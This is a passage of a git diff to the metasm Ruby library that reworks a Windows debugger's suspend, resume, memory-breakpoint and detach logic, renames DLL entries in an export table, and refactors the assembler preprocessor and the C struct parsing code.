     initialize_osprocess
-    end
+    check_target
+  end
 
   # called whenever we receive a handle to a new process being debugged, after initialisation of @os_process
   def initialize_osprocess
     initialize_cpu
     initialize_memory
     initialize_disassembler
-    end
+  end
 
   def initialize_newpid
     raise "non-existing pid #@pid" if pid and not WinOS.check_process(@pid)
@@ -1816,7 +1848,7 @@ class WinDebugger < Debugger
       return Hash.new(0) if not os_thread
       @ctx = os_thread.context
       @ctx.update
-  end
+    end
     @ctx
   end
 
@@ -1830,17 +1862,46 @@ class WinDebugger < Debugger
   end
 
   def set_reg_value(r, v)
-    ctx[r] = v
+    if @state == :running
+      suspend
+      ctx[r] = v
+      resume
+    else
+      ctx[r] = v
+    end
   end
 
   def do_continue(*a)
     @cpu.dbg_disable_singlestep(self)
-    WinAPI.continuedebugevent(@pid, @tid, @continuecode)
+    if @continuecode == :suspended
+      resume
+    else
+      @state = :running
+      WinAPI.continuedebugevent(@pid, @tid, @continuecode)
+    end
   end
 
   def do_singlestep(*a)
     @cpu.dbg_enable_singlestep(self)
-    WinAPI.continuedebugevent(@pid, @tid, @continuecode)
+    if @continuecode == :suspended
+      resume
+    else
+      @state = :running
+      WinAPI.continuedebugevent(@pid, @tid, @continuecode)
+    end
+  end
+
+  def do_enable_bpm(bp)
+    @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}")
+    WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof)
+    # TODO save original page perms, check bpm type (:w -> vprotect(PAGE_READONLY)), handle multiple bpm on same page
+    WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] | WinAPI::PAGE_GUARD, @bpm_info)
+  end
+
+  def do_disable_bpm(bp)
+    @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}")
+    WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof)
+    WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] & ~WinAPI::PAGE_GUARD, @bpm_info)
   end
 
   def update_dbgev(ev)
@@ -1866,14 +1927,14 @@ class WinDebugger < Debugger
       # DWORD NumberParameters;
       # ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
       case str.exceptioncode
-      when WinAPI::STATUS_ACCESS_VIOLATION
+      when WinAPI::STATUS_ACCESS_VIOLATION, WinAPI::STATUS_GUARD_PAGE_VIOLATION
         if @auto_fix_fs_bug and ctx.fs != 0x3b
           # fix bug in xpsp1 where fs would get a random value in a debugee
           log "wdbg: #{pid}:#{tid} fix fs bug" if $DEBUG
           ctx.fs = 0x3b
           resume_badbreak
           return
-  end
+        end
         mode = case str.exceptioninformation[0]
                when 0; :r
                when 1; :w
@@ -1882,18 +1943,18 @@ class WinDebugger < Debugger
         addr = str.exceptioninformation[1]
         evt_exception(:type => 'access violation', :st => str, :firstchance => stf,
                 :fault_addr => addr, :fault_access => mode)
-      when WinAPI::STATUS_BREAKPOINT
+      when WinAPI::STATUS_BREAKPOINT, WinAPI::STATUS_WX86_BREAKPOINT
         # we must ack ntdll interrupts on process start
         # but we should not mask process-generated exceptions by default..
         evt_bpx
-      when WinAPI::STATUS_SINGLE_STEP
+      when WinAPI::STATUS_SINGLE_STEP, WinAPI::STATUS_WX86_SINGLE_STEP
         evt_hwbp_singlestep
       else
         @status_name ||= WinAPI.cp.lexer.definition.keys.grep(/^STATUS_/).
             sort.inject({}) { |h, c| h.update WinAPI.const_get(c) => c }
         type = @status_name[str.exceptioncode] || str.exceptioncode.to_s(16)
         evt_exception(:type => type, :st => str, :firstchance => stf)
-  end
+      end
 
     when WinAPI::CREATE_THREAD_DEBUG_EVENT
       st = ev.createthread
@@ -1910,7 +1971,7 @@ class WinDebugger < Debugger
         initialize_osprocess
       else
         @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process)
-  end
+      end
       @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0
       hfile = st.hfile
       evt_newprocess(:st => st)
@@ -1943,7 +2004,7 @@ class WinDebugger < Debugger
     when WinAPI::RIP_EVENT
       st = ev.ripinfo
       evt_ripevent(:st => st)
-      end
+    end
   end
 
   def evt_debugstring(info={})
@@ -1988,39 +2049,68 @@ class WinDebugger < Debugger
     @dbg_eventstruct ||= WinAPI.alloc_c_struct('_DEBUG_EVENT')
     if WinAPI.waitfordebugevent(@dbg_eventstruct, timeout) != 0
       update_dbgev(@dbg_eventstruct)
+      true
+    end
   end
+
+  def del_tid
+    # tell Windows to release the THREAD object
+    WinAPI.continuedebugevent(@pid, @tid, @continuecode)
+    super()
+  end
+
+  # do nothing, windows will send us a EXIT_PROCESS event
+  def del_tid_notid
+    nil while do_waitfordebug(10) and !@tid
+  end
+
+  def del_pid
+    # tell Windows to release the PROCESS object
+    WinAPI.debugactiveprocessstop(@pid) if WinAPI.respond_to?(:debugactiveprocessstop)
+    super()
   end
 
   def break
     return if @state != :running
-    if WinAPI.respond_to? :debugbreakprocess
-      WinAPI.debugbreakprocess(os_process.handle)
-    else
-      suspend
+    # debugbreak() will create a new thread to 0xcc, but wont touch existing threads
+    suspend
   end
-        end
 
   def suspend
     os_thread.suspend
-        @state = :stopped
+    invalidate
+    @state = :stopped
     @info = 'thread suspended'
-      end
+    @continuecode = :suspended
+  end
+
+  def resume
+    @state = :running
+    @info = nil
+    os_thread.resume
+  end
 
   def detach
     del_all_breakpoints
-    if WinAPI.respond_to? :debugactiveprocessstop
-      WinAPI.debugactiveprocessstop(@pid)
-    else
+    if not WinAPI.respond_to? :debugactiveprocessstop
       raise 'detach not supported'
     end
+    # handle pending bp events
+    # TODO check_target needs the Breakpoint objects...
+    #pid = @pid ; 50.times { check_target } ; self.pid = pid
+
+    # if we detach after a dbgevt and before calling continuedbgevent, the thread
+    # may receive unhandled exceptions (eg BPX) and crash the process right after detach
+    each_tid { do_continue if @state == :stopped }
     del_pid
   end
 
   def kill(exitcode=0)
     os_process.terminate(exitcode)
-      end
+  end
 
   def pass_current_exception(doit = true)
+    return if @continuecode == :suspended
     @continuecode = (doit ? WinAPI::DBG_EXCEPTION_NOT_HANDLED : WinAPI::DBG_CONTINUE)
   end
 end
diff --git a/lib/metasm/metasm/os/windows_exports.rb b/lib/metasm/metasm/os/windows_exports.rb
index bcfefb37c7..185fc2ffc2 100644
--- a/lib/metasm/metasm/os/windows_exports.rb
+++ b/lib/metasm/metasm/os/windows_exports.rb
@@ -11,7 +11,7 @@ class WindowsExports
   EXPORT = {}
   # see samples/pe_listexports for the generator of this data
   data = <<EOL	# XXX libraries do not support __END__/DATA...
-advapi32.dll
+ADVAPI32
  I_ScGetCurrentGroupStateW A_SHAFinal A_SHAInit A_SHAUpdate AbortSystemShutdownA AbortSystemShutdownW AccessCheck AccessCheckAndAuditAlarmA
  AccessCheckAndAuditAlarmW AccessCheckByType AccessCheckByTypeAndAuditAlarmA AccessCheckByTypeAndAuditAlarmW AccessCheckByTypeResultList
  AccessCheckByTypeResultListAndAuditAlarmA AccessCheckByTypeResultListAndAuditAlarmByHandleA AccessCheckByTypeResultListAndAuditAlarmByHandleW
@@ -108,7 +108,7 @@ advapi32.dll
  WmiOpenTraceWithCursor WmiParseTraceEvent WmiQueryAllDataA WmiQueryAllDataMultipleA WmiQueryAllDataMultipleW WmiQueryAllDataW WmiQueryGuidInformation
  WmiQuerySingleInstanceA WmiQuerySingleInstanceMultipleA WmiQuerySingleInstanceMultipleW WmiQuerySingleInstanceW WmiReceiveNotificationsA
  WmiReceiveNotificationsW WmiSetSingleInstanceA WmiSetSingleInstanceW WmiSetSingleItemA WmiSetSingleItemW Wow64Win32ApiEntry WriteEncryptedFileRaw
-ws2_32.dll
+WS2_32
  accept bind closesocket connect getpeername getsockname getsockopt htonl htons ioctlsocket inet_addr inet_ntoa listen ntohl ntohs recv recvfrom select send
  sendto setsockopt shutdown socket GetAddrInfoW GetNameInfoW WSApSetPostRoutine FreeAddrInfoW WPUCompleteOverlappedRequest WSAAccept WSAAddressToStringA
  WSAAddressToStringW WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSADuplicateSocketW WSAEnumNameSpaceProvidersA WSAEnumNameSpaceProvidersW
@@ -121,7 +121,7 @@ ws2_32.dll
  WSCInstallProvider WSCUnInstallNameSpace WSCUpdateProvider WSCWriteNameSpaceOrder WSCWriteProviderOrder freeaddrinfo getaddrinfo getnameinfo WSAAsyncSelect
  WSAAsyncGetHostByAddr WSAAsyncGetHostByName WSAAsyncGetProtoByNumber WSAAsyncGetProtoByName WSAAsyncGetServByPort WSAAsyncGetServByName WSACancelAsyncRequest
  WSASetBlockingHook WSAUnhookBlockingHook WSAGetLastError WSASetLastError WSACancelBlockingCall WSAIsBlocking WSAStartup WSACleanup __WSAFDIsSet WEP
-msvcrt.dll
+msvcrt
  _CIacos _CIasin _CIatan _CIatan2 _CIcos _CIcosh
  _CIexp _CIfmod _CIlog _CIlog10 _CIpow _CIsin _CIsinh _CIsqrt _CItan _CItanh _CxxThrowException _EH_prolog _Getdays _Getmonths _Gettnames _HUGE _Strftime
  _XcptFilter __CxxCallUnwindDtor __CxxDetectRethrow __CxxExceptionFilter __CxxFrameHandler __CxxLongjmpUnwind __CxxQueryExceptionSize
@@ -167,16 +167,16 @@ msvcrt.dll
  strpbrk strrchr strspn strstr strtod strtok strtol strtoul strxfrm swprintf swscanf system tan tanh time tmpfile tmpnam tolower toupper towlower towupper
  ungetc ungetwc vfprintf vfwprintf vprintf vsprintf vswprintf vwprintf wcscat wcschr wcscmp wcscoll wcscpy wcscspn wcsftime wcslen wcsncat wcsncmp wcsncpy
  wcspbrk wcsrchr wcsspn wcsstr wcstod wcstok wcstol wcstombs wcstoul wcsxfrm wctomb wprintf wscanf
-comdlg32.dll
+comdlg32
  ChooseColorA ChooseColorW ChooseFontA ChooseFontW CommDlgExtendedError FindTextA FindTextW GetFileTitleA GetFileTitleW GetOpenFileNameA GetOpenFileNameW
  GetSaveFileNameA GetSaveFileNameW LoadAlterBitmap PageSetupDlgA PageSetupDlgW PrintDlgA PrintDlgExA PrintDlgExW PrintDlgW ReplaceTextA ReplaceTextW
  Ssync_ANSI_UNICODE_Struct_For_WOW WantArrows dwLBSubclass dwOKSubclass
-psapi.dll
+PSAPI
  EmptyWorkingSet EnumDeviceDrivers EnumPageFilesA EnumPageFilesW EnumProcessModules EnumProcesses GetDeviceDriverBaseNameA GetDeviceDriverBaseNameW
  GetDeviceDriverFileNameA GetDeviceDriverFileNameW GetMappedFileNameA GetMappedFileNameW GetModuleBaseNameA GetModuleBaseNameW GetModuleFileNameExA
  GetModuleFileNameExW GetModuleInformation GetPerformanceInfo GetProcessImageFileNameA GetProcessImageFileNameW GetProcessMemoryInfo GetWsChanges
  InitializeProcessForWsWatch QueryWorkingSet
-user32.dll
+USER32
  ActivateKeyboardLayout AdjustWindowRect AdjustWindowRectEx AlignRects AllowForegroundActivation AllowSetForegroundWindow AnimateWindow AnyPopup AppendMenuA
  AppendMenuW ArrangeIconicWindows AttachThreadInput BeginDeferWindowPos BeginPaint BlockInput BringWindowToTop BroadcastSystemMessage BroadcastSystemMessageA
  BroadcastSystemMessageExA BroadcastSystemMessageExW BroadcastSystemMessageW BuildReasonArray CalcMenuBar CallMsgFilter CallMsgFilterA CallMsgFilterW
@@ -257,7 +257,7 @@ user32.dll
  WINNLSEnableIME WINNLSGetEnableStatus WINNLSGetIMEHotkey WaitForInputIdle WaitMessage Win32PoolAllocationStats WinHelpA WinHelpW WindowFromDC WindowFromPoint
  keybd_event mouse_event wsprintfA wsprintfW wvsprintfA wvsprintfW
  GetWindowLongPtrA GetWindowLongPtrW SetWindowLongPtrA SetWindowLongPtrW
-kernel32.dll
+KERNEL32
  ActivateActCtx AddAtomA AddAtomW AddConsoleAliasA AddConsoleAliasW AddLocalAlternateComputerNameA AddLocalAlternateComputerNameW AddRefActCtx
  AddVectoredExceptionHandler AllocConsole AllocateUserPhysicalPages AreFileApisANSI AssignProcessToJobObject AttachConsole BackupRead BackupSeek BackupWrite
  BaseCheckAppcompatCache BaseCleanupAppcompatCache BaseCleanupAppcompatCacheSupport BaseDumpAppcompatCache BaseFlushAppcompatCache BaseInitAppcompatCache
@@ -374,7 +374,7 @@ kernel32.dll
  WritePrivateProfileStructA WritePrivateProfileStructW WriteProcessMemory WriteProfileSectionA WriteProfileSectionW WriteProfileStringA WriteProfileStringW
  WriteTapemark ZombifyActCtx _hread _hwrite _lclose _lcreat _llseek _lopen _lread _lwrite lstrcat lstrcatA lstrcatW lstrcmp lstrcmpA lstrcmpW lstrcmpi lstrcmpiA
  lstrcmpiW lstrcpy lstrcpyA lstrcpyW lstrcpyn lstrcpynA lstrcpynW lstrlen lstrlenA lstrlenW
-ntdll.dll
+ntdll
  PropertyLengthAsVariant RtlConvertPropertyToVariant RtlConvertVariantToProperty RtlInterlockedPushListSList RtlUlongByteSwap RtlUlonglongByteSwap
  RtlUshortByteSwap CsrAllocateCaptureBuffer CsrAllocateMessagePointer CsrCaptureMessageBuffer CsrCaptureMessageMultiUnicodeStringsInPlace
  CsrCaptureMessageString CsrCaptureTimeout CsrClientCallServer CsrClientConnectToServer CsrFreeCaptureBuffer CsrGetProcessId CsrIdentifyAlertableThread
@@ -552,7 +552,7 @@ ntdll.dll
  memset pow qsort sin sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr strtol strtoul
  swprintf tan tolower toupper towlower towupper vDbgPrintEx vDbgPrintExWithPrefix vsprintf wcscat wcschr wcscmp wcscpy wcscspn wcslen wcsncat wcsncmp wcsncpy
  wcspbrk wcsrchr wcsspn wcsstr wcstol wcstombs wcstoul
-gdi32.dll
+GDI32
  AbortDoc AbortPath AddFontMemResourceEx AddFontResourceA AddFontResourceExA AddFontResourceExW AddFontResourceTracking AddFontResourceW AngleArc
  AnimatePalette AnyLinkedFonts Arc ArcTo BRUSHOBJ_hGetColorTransform BRUSHOBJ_pvAllocRbrush BRUSHOBJ_pvGetRbrush BRUSHOBJ_ulGetBrushColor BeginPath BitBlt
  CLIPOBJ_bEnum CLIPOBJ_cEnumStart CLIPOBJ_ppoGetPath CancelDC CheckColorsInGamut ChoosePixelFormat Chord ClearBitmapAttributes ClearBrushAttributes
@@ -616,7 +616,7 @@ gdi32.dll
  StrokePath SwapBuffers TextOutA TextOutW TranslateCharsetInfo UnloadNetworkFonts UnrealizeObject UpdateColors UpdateICMRegKeyA UpdateICMRegKeyW WidenPath
  XFORMOBJ_bApplyXform XFORMOBJ_iGetXform XLATEOBJ_cGetPalette XLATEOBJ_hGetColorTransform XLATEOBJ_iXlate XLATEOBJ_piVector bInitSystemAndFontsDirectoriesW
  bMakePathNameW cGetTTFFromFOT gdiPlaySpoolStream
-msvcrt-ruby18.dll
+msvcrt-ruby18
  GetCurrentThreadHandle Init_Array Init_Bignum Init_Binding Init_Comparable Init_Dir Init_Enumerable Init_Exception Init_File Init_GC Init_Hash Init_IO
  Init_Math Init_Numeric Init_Object Init_Precision Init_Proc Init_Random Init_Range Init_Regexp Init_String Init_Struct Init_Thread Init_Time Init_eval
  Init_ext Init_heap Init_load Init_marshal Init_pack Init_process Init_signal Init_stack Init_sym Init_syserr Init_var_tables Init_version NtInitialize
diff --git a/lib/metasm/metasm/parse.rb b/lib/metasm/metasm/parse.rb
index d97194c0d6..962ef2ff47 100644
--- a/lib/metasm/metasm/parse.rb
+++ b/lib/metasm/metasm/parse.rb
@@ -159,13 +159,20 @@ class AsmPreprocessor < Preprocessor
     end
   end
 
+  class Preprocessor::Token
+    # token already preprocessed for macro def/expansion
+    attr_accessor :alreadyapp
+  end
+
   # the program (used to create new label names)
   attr_accessor :program
   # hash macro name => Macro
   attr_accessor :macro
+  attr_accessor :may_apreprocess
 
   def initialize(text='', program=nil)
     @program = program
+    @may_apreprocess = false
     @macro = {}
     super(text)
   end
@@ -184,13 +191,21 @@ class AsmPreprocessor < Preprocessor
     t
   end
 
-  # reads a token, handles macros/comments/integers/etc
-  # argument is for internal use
-  def readtok(rec = false)
+  def feed!(*a)
+    super(*a)
+    if not @may_apreprocess and (@text =~ / (macro|equ) / or not @macro.empty?)
+      @may_apreprocess = true
+    end
+    self
+  end
+
+  # reads a token, handles macros/comments/etc
+  def readtok
     tok = super()
+    return tok if not tok or tok.alreadyapp
 
     # handle ; comments
-    if tok and tok.type == :punct and tok.raw == ';'
+    if tok.type == :punct and tok.raw[0] == ?;
       tok.type = :eol
       begin
         tok = tok.dup
@@ -203,30 +218,13 @@ class AsmPreprocessor < Preprocessor
       end
     end
 
-    # aggregate space/eol
-    if tok and (tok.type == :space or tok.type == :eol)
-      if ntok = readtok(true) and ntok.type == :space
-        tok = tok.dup
-        tok.raw << ntok.raw
-      elsif ntok and ntok.type == :eol
-        tok = tok.dup
-        tok.raw << ntok.raw
-        tok.type = :eol
-      else
-        unreadtok ntok
-      end
-    end
-
-
     # handle macros
-    # the rec parameter is used to avoid reading the whole text at once when reading ahead to check 'macro' keyword
-    if not rec and tok and tok.type == :string
+    if @may_apreprocess and tok.type == :string
       if @macro[tok.raw]
         @macro[tok.raw].apply(tok, self, @program).reverse_each { |t| unreadtok t }
         tok = readtok
-
       else
-        if ntok = readtok(true) and ntok.type == :space and nntok = readtok(true) and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ')
+        if ntok = super() and ntok.type == :space and nntok = super() and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ')
           puts "W: asm: redefinition of macro #{tok.raw} at #{tok.backtrace_str}, previous definition at #{@macro[tok.raw].name.backtrace_str}" if @macro[tok.raw]
           m = Macro.new tok
           # XXX this allows nested macro definition..
@@ -252,6 +250,7 @@ class AsmPreprocessor < Preprocessor
       end
     end
 
+    tok.alreadyapp = true if tok
     tok
   end
 end
@@ -314,6 +313,7 @@ class ExeFormat
             lname = @locallabels_bkw[tok.raw] = @locallabels_fwd.delete(tok.raw) || new_label('local_'+tok.raw)
           else
             lname = tok.raw
+            raise tok, "invalid label name: #{lname.inspect} is reserved" if @cpu.check_reserved_name(lname)
             raise tok, "label redefinition" if new_label(lname) != lname
           end
           l = Label.new(lname)
@@ -780,7 +780,7 @@ class Expression
       pp = Preprocessor.new(str)
 
       e = parse(pp, &b)
-      
+
       # update arg
       len = pp.pos
       pp.queue.each { |t| len -= t.raw.length }
@@ -821,6 +821,8 @@ class IndExpression < Expression
           break
         when ':'	# symbols, eg ':eax'
           n = lexer.readtok
+          nil while tok = lexer.readtok and tok.type == :space
+          lexer.unreadtok tok
           return n.raw.to_sym
         else
           lexer.unreadtok tok
diff --git a/lib/metasm/metasm/parse_c.rb b/lib/metasm/metasm/parse_c.rb
index 1f7f89591e..3ca4793336 100644
--- a/lib/metasm/metasm/parse_c.rb
+++ b/lib/metasm/metasm/parse_c.rb
@@ -214,20 +214,43 @@ module C
 
     attr_accessor :fldoffset, :fldbitoffset, :fldlist
 
-    def align(parser) @members.map { |m| m.type.align(parser) }.max end
+    def align(parser) @members.to_a.map { |m| m.type.align(parser) }.max end
 
+    # there is only one instance of a given named struct per parser
+    # so we just compare struct names here
+    # for comparison between parsers, see #compare_deep
     def ==(o)
-      # if we dont compare names, infinite recursion on mylinkedlist == otherlinkedlist
       o.object_id == self.object_id or
-      (o.class == self.class and o.name == self.name and
-       o.members.to_a.map { |m| m.type } == self.members.to_a.map { |m| m.type } and
-       o.members.to_a.map { |m| m.name } == self.members.to_a.map { |m| m.name } and
-       o.attributes == self.attributes)
+      (o.class == self.class and o.name == self.name and ((o.name and true) or compare_deep(o)))
+    end
+
+    # compare to another structure, comparing members recursively (names and type)
+    # returns true if the self is same as o
+    def compare_deep(o, seen = [])
+      return true if o.object_id == self.object_id
+      return if o.class != self.class or o.name != self.name or o.attributes != self.attributes
+      o.members.to_a.zip(self.members.to_a).each { |om, sm|
+        return if om.name != sm.name
+        return if om.type != sm.type
+        if om.type.pointer?
+          ot = om.type
+          st = sm.type
+          500.times {	# limit for selfpointers (shouldnt happen)
+            break if not ot.pointer?
+            ot = ot.pointed.untypedef
+            st = st.pointed.untypedef
+          }
+          if ot.kind_of?(C::Union) and ot.name and not seen.include?(ot)
+            return if not st.compare_deep(ot, seen+[ot])
+          end
+        end
+      }
+      true
     end
 
     def findmember(name, igncase=false)
-      update_member_cache if not fldlist
-      return @fldlist[name] if @fldlist[name]
+      raise 'undefined structure' if not members
+      return @fldlist[name] if fldlist and @fldlist[name]
 
       name = name.downcase if igncase
       if m = @members.find { |m_| (n = m_.name) and (igncase ? n.downcase : n) == name }
@@ -244,23 +267,25 @@ module C
     end
 
     def offsetof(parser, name)
-      if name.kind_of? Variable
+      raise parser, 'undefined structure' if not members
+      update_member_cache(parser) if not fldlist
+      return 0 if @fldlist[name]
+
+      if name.kind_of?(Variable)
         return 0 if @members.include? name
         raise ParseError, 'unknown union member'
       end
 
-      update_member_cache if not fldlist
-      return 0 if @fldlist[name]
-      raise parser, 'undefined union' if not @members
       raise parser, 'unknown union member' if not findmember(name)
 
-        @members.find { |m|
-          m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name)
-        }.type.untypedef.offsetof(parser, name)
-      end
+      @members.find { |m|
+        m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name)
+      }.type.untypedef.offsetof(parser, name)
+    end
 
     def bitoffsetof(parser, name)
-      update_member_cache if not fldlist
+      raise parser, 'undefined structure' if not members
+      update_member_cache(parser) if not fldlist
       return if @fldlist[name] or @members.include?(name)
       raise parser, 'undefined union' if not @members
       raise parser, 'unknown union member' if not findmember(name)
@@ -271,8 +296,8 @@ module C
     end
 
     def parse_members(parser, scope)
+      @fldlist = nil if fldlist	# invalidate fld offset cache
       @members = []
-      @fldlist = {}
       # parse struct/union members in definition
       loop do
         raise parser if not tok = parser.skipspaces
@@ -284,8 +309,7 @@ module C
           member = basetype.dup
           member.parse_declarator(parser, scope)
           member.type.length ||= 0 if member.type.kind_of?(Array)	# struct { char blarg[]; };
-          raise member.backtrace, 'member redefinition' if member.name and @fldlist[member.name]
-          @fldlist[member.name] = member if member.name
+          raise member.backtrace, 'member redefinition' if member.name and @members.find { |m| m.name == member.name }
           @members << member
 
           raise tok || parser if not tok = parser.skipspaces or tok.type != :punct
@@ -315,7 +339,7 @@ module C
     # updates the @fldoffset / @fldbitoffset hash storing the offset of members
     def update_member_cache(parser)
       @fldlist = {}
-      @members.each { |m|
+      @members.to_a.each { |m|
         @fldlist[m.name] = m if m.name
       }
     end
@@ -347,7 +371,7 @@ module C
       if nt = parser.skipspaces and nt.type == :punct and nt.raw == '.' and
           nnt = parser.skipspaces and nnt.type == :string and
           findmember(nnt.raw)
-        raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@fldlist[nnt.raw])	# TODO
+        raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@members.find { |m| m.name == nnt.raw })	# TODO
         if not root
           value[idx] ||= []	# AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= []
           value = value[idx]
@@ -366,6 +390,22 @@ module C
       end
       idx + 1
     end
+
+    # resolve structptr + offset into 'str.membername'
+    # handles 'var.substruct1.array[12].foo'
+    # updates str
+    # returns the final member type itself
+    # works for Struct/Union/Array
+    def expand_member_offset(c_parser, off, str)
+      # XXX choose in members, check sizeof / prefer structs
+      m = @members.first
+      str << '.' << m.name if m.name
+      if m.type.respond_to?(:expand_member_offset)
+        m.type.expand_member_offset(c_parser, off, str)
+      else
+        m.type
+      end
+    end
   end
   class Struct < Union
     attr_accessor :pack
@@ -373,14 +413,15 @@ module C
     def align(parser) [@members.to_a.map { |m| m.type.align(parser) }.max || 1, (pack || 8)].min end
 
     def offsetof(parser, name)
-      update_member_cache(parser) if not fldoffset
+      raise parser, 'undefined structure' if not members
+      update_member_cache(parser) if not fldlist
       return @fldoffset[name] if @fldoffset[name]
+      return @fldoffset[name.name] if name.respond_to?(:name) and @fldoffset[name.name]
 
       # this is almost never reached, only for <struct>.offsetof(anonymoussubstructmembername)
-      raise parser, 'undefined structure' if not @members
       raise parser, 'unknown structure member' if (name.kind_of?(::String) ?  !findmember(name) : !@members.include?(name))
 
-      indirect = true if name.kind_of? ::String and not @fldlist[name]
+      indirect = true if name.kind_of?(::String) and not @fldlist[name]
 
       al = align(parser)
       off = 0
@@ -390,8 +431,8 @@ module C
       @members.each_with_index { |m, i|
         if bits and b = @bits[i]
           if not isz
-          mal = [m.type.align(parser), al].min
-          off = (off + mal - 1) / mal * mal
+            mal = [m.type.align(parser), al].min
+            off = (off + mal - 1) / mal * mal
           end
           isz = parser.sizeof(m)
           if b == 0 or (bit_off > 0 and bit_off + b > 8*isz)
@@ -409,14 +450,14 @@ module C
           end
           mal = [m.type.align(parser), al].min
           off = (off + mal - 1) / mal * mal
-                 if m.name == name or m == name
+          if m.name == name or m == name
             break
           elsif indirect and m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name)
             off += m.type.untypedef.offsetof(parser, name)
             break
           else
-          off += parser.sizeof(m)
-        end
+            off += parser.sizeof(m)
+          end
         end
       }
       off
@@ -425,17 +466,28 @@ module C
     # returns the [bitoffset, bitlength] of the field if it is a bitfield
     # this should be added to the offsetof(field)
     def bitoffsetof(parser, name)
-      update_member_cache if not fldlist
+      raise parser, 'undefined structure' if not members
+      update_member_cache(parser) if not fldlist
       return @fldbitoffset[name] if fldbitoffset and @fldbitoffset[name]
+      return @fldbitoffset[name.name] if fldbitoffset and name.respond_to?(:name) and @fldbitoffset[name.name]
       return if @fldlist[name] or @members.include?(name)
       raise parser, 'undefined union' if not @members
       raise parser, 'unknown union member' if not findmember(name)
 
       @members.find { |m|
-        m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name)
+        m.type.untypedef.kind_of?(Union) and m.type.untypedef.findmember(name)
       }.type.untypedef.bitoffsetof(parser, name)
     end
 
+    # returns the @member element that has offsetof(m) == off
+    def findmember_atoffset(parser, off)
+      return if not members
+      update_member_cache(parser) if not fldlist
+      if m = @fldoffset.index(off)
+        @fldlist[m]
+      end
+    end
+
     def parse_members(parser, scope)
       super(parser, scope)
 
@@ -445,8 +497,6 @@ module C
         @pack = p[/\d+/].to_i
         raise parser, "illegal struct pack(#{p})" if @pack == 0
       end
-
-      update_member_cache(parser)
     end
 
     # updates the @fldoffset / @fldbitoffset hash storing the offset of members
@@ -492,6 +542,32 @@ module C
         end
       }
     end
+
+    # see Union#expand_member_offset
+    def expand_member_offset(c_parser, off, str)
+      members.to_a.each { |m|
+        mo = offsetof(c_parser, m)
+        if mo == off or mo + c_parser.sizeof(m) > off
+          if bitoffsetof(c_parser, m)
+            # ignore bitfields
+            str << "+#{off}" if off > 0
+            return self
+          end
+
+          str << '.' << m.name if m.name
+          if m.type.respond_to?(:expand_member_offset)
+            return m.type.expand_member_offset(c_parser, off-mo, str)
+          else
+            return m.type
+          end
+        elsif mo > off
+          break
+        end
+      }
+      # XXX that works only for pointer-style str
+      str << "+#{off}" if off > 0
+      nil
+    end
   end
   class Enum < Type
     # name => value
@@ -534,6 +610,11 @@ module C
       parse_attributes(parser)
     end
 
+    def compare_deep(o)
+      return true if o.object_id == self.object_id
+      return if o.class != self.class or o.name != self.name or o.attributes != self.attributes
+      members == o.members
+    end
   end
   class Pointer < Type
     attr_accessor :type
@@ -661,6 +742,17 @@ module C
       end
       idx + 1
     end
+
+    # see Union#expand_member_offset
+    def expand_member_offset(c_parser, off, str)
+      tsz = c_parser.sizeof(@type)
+      str << "[#{off/tsz}]"
+      if @type.respond_to?(:expand_member_offset)
+        @type.expand_member_offset(c_parser, off%tsz, str)
+      else
+        @type
+      end
+    end
   end
 
   class Variable
@@ -857,7 +949,7 @@ module C
             when :space; body << ' '
             when :eol; body << "\n"
             when :punct; body << tok.raw
-            when :quoted; body << tok.value.inspect	# concat adjacent c strings
+            when :quoted; body << CExpression.string_inspect(tok.value)	# concat adjacent c strings
             when :string
               body << \
               case tok.raw
@@ -900,7 +992,7 @@ module C
                 break
               else body << tok.raw
               end
-            when :quoted; body << (body.empty? ? tok.value : tok.value.inspect)	# asm "pop\nret"  VS  asm add al, 'z'
+            when :quoted; body << (body.empty? ? tok.value : CExpression.string_inspect(tok.value))	# asm "pop\nret"  VS  asm add al, 'z'
             when :string
               body << \
               case tok.raw
@@ -974,7 +1066,7 @@ module C
       raise "invalid CExpr #{[l, o, r, t].inspect}" if (o and not o.kind_of? ::Symbol) or not t.kind_of? Type
       @lexpr, @op, @rexpr, @type = l, o, r, t
     end
-    
+
     # overwrites @lexpr @op @rexpr @type from the arg
     def replace(o)
       @lexpr, @op, @rexpr, @type = o.lexpr, o.op, o.rexpr, o.type
@@ -1010,7 +1102,7 @@ module C
         else
           x2 = splat[args[2]]
         end
- 				new(splat[args[0]], op, x2, args[3])
+        new(splat[args[0]], op, x2, args[3])
       when 3
         op = args[1]
         x1 = splat[args[0]]
@@ -1024,7 +1116,7 @@ module C
         when :funcall
                rt = x1.type.untypedef
                rt = rt.type.untypedef if rt.pointer?
-                      new(x1, op, x2, rt.type)
+               new(x1, op, x2, rt.type)
         when :[]; new(x1, op, x2, x1.type.untypedef.type)
         when :+; new(x1, op, x2, (x2.type.pointer? ? x2.type : x1.type))
         when :-; new(x1, op, x2, ((x1.type.pointer? and x2.type.pointer?) ? BaseType.new(:int) : x2.type.pointer? ? x2.type : x1.type))
@@ -1088,13 +1180,14 @@ module C
     attr_accessor :lexer, :toplevel, :typesize, :pragma_pack
     attr_accessor :endianness
     attr_accessor :allow_bad_c
+    attr_accessor :program
